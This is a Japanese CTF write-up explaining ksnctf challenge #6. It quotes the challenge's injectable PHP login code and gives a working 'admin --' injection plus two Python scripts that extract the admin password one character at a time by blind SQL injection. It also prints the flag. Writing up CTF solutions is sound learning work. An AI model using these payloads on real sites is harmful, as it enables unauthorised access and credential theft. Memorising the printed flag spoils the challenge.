Python
PHP
HTML
SQL
CTF

Blind SQL Injection ~ ksnctf #6 login ~

概要

彼の有名な常設CTFサイトksnctf6問目の解説となっています。
個人的に面白かったのでメモ程度に。

解説

まず以下のサイトにログインを試みます。
http://ctfq.sweetduet.info:10080/~q6/
スクリーンショット 2018-01-17 19.40.54.png

ID:に"admin --"と入力し、いたって簡単なSQL Injectionでログインは成功しました。
レスポンスは以下になります。

Congratulations!
It's too easy?
Don't worry.
The flag is admin's password.

Hint:
<?php
    function h($s){return htmlspecialchars($s,ENT_QUOTES,'UTF-8');}

    $id = isset($_POST['id']) ? $_POST['id'] : '';
    $pass = isset($_POST['pass']) ? $_POST['pass'] : '';
    $login = false;
    $err = '';

    if ($id!=='')
    {
        $db = new PDO('sqlite:database.db');
        $r = $db->query("SELECT * FROM user WHERE id='$id' AND pass='$pass'");
        $login = $r && $r->fetch();
        if (!$login)
            $err = 'Login Failed';
    }
?><!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <title>q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6q6</title>
  </head>
  <body>
    <?php if (!$login) { ?>
    <p>
      First, login as "admin".
    </p>
    <div style="font-weight:bold; color:red">
      <?php echo h($err); ?>
    </div>
    <form method="POST">
      <div>ID: <input type="text" name="id" value="<?php echo h($id); ?>"></div>
      <div>Pass: <input type="text" name="pass" value="<?php echo h($pass); ?>"></div>
      <div><input type="submit"></div>
    </form>
    <?php } else { ?>
    <p>
      Congratulations!<br>
      It's too easy?<br>
      Don't worry.<br>
      The flag is admin's password.<br>
      <br>
      Hint:<br>
    </p>
    <pre><?php echo h(file_get_contents('index.php')); ?></pre>
    <?php } ?>
  </body>
</html>

先頭数行のメッセージを読むとフラグの文字列は"admin"のパスワードの様です。

パスワードの文字列を総当たりしても良いですが時間がかかりすぎるので、まずパスワードの長を調べたいと思います。
以下のコードでパスワード長を総当たりします。

import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for i in range(1, 100):
    sql = 'admin\' AND (SELECT LENGTH(pass) FROM user WHERE id = \'admin\') = {counter} --'.format(counter = i)
    payload = {
        'id' : sql,
        'pass' : 'sssssss'
    }
    response = requests.post(url, data=payload)
    if len(response.text) > 2000:
        print('length of the password is {counter}'.format(counter = i))
        break

出力は以下のようになりました。

$ python check_password_length.py
length of the password is 21

上記のスクリプトは"id"が"admin"であるユーザのパスワード長を"LENGTH"関数で取得し1~99の間で順に比較、パスワード長が合えばログインが成功するようなSQLを連続で発行しています。
ログインが成功したかはレスポンスのサイズで判断しています。

次にパスワードを総当たりで見つけるのですが、これも21文字で総当たりするとなると時間がかかるので1文字ずつ調べたいと思います。
以下のコードでパスワードを総当たりします。

import requests
url = 'http://ctfq.sweetduet.info:10080/~q6/'
for index in range(1, 22):
    for char_number in range(48, 123):
        char = chr(char_number)
        sql = 'admin\' AND SUBSTR((SELECT pass FROM user WHERE id = \'admin\'), {index}, 1) = \'{char}\' --'.format(index = index, char = char)
        payload = {
            'id' : sql,
            'pass' : ''
        }
        response = requests.post(url, data=payload)
        if len(response.text) > 2000:
            print(char, end="")
            break
print()

出力は以下のようになりました。

$ python bf.py
FLAG_KpWa4ji3uZk6TrPK

フラグが出力されています。
上記のスクリプトは"admin"のパスワード文字列を"SUBSTR"関数で先頭から1文字ずつ抜き出し、総当たりして投げた1文字と同じならログイン成功なのでその1文字を出力します。そして次の1文字を同じように総当たりします。これを繰り返し正しい文字を1文字ずつ出力しフラグを表示させます。
ログインに成功したかどうかは先ほどと同じくレスポンスのサイズを見て判断しています。

最後に

メモ程度にまとめましたが、もしわかりづらいところがあればご指摘いただけると幸いです。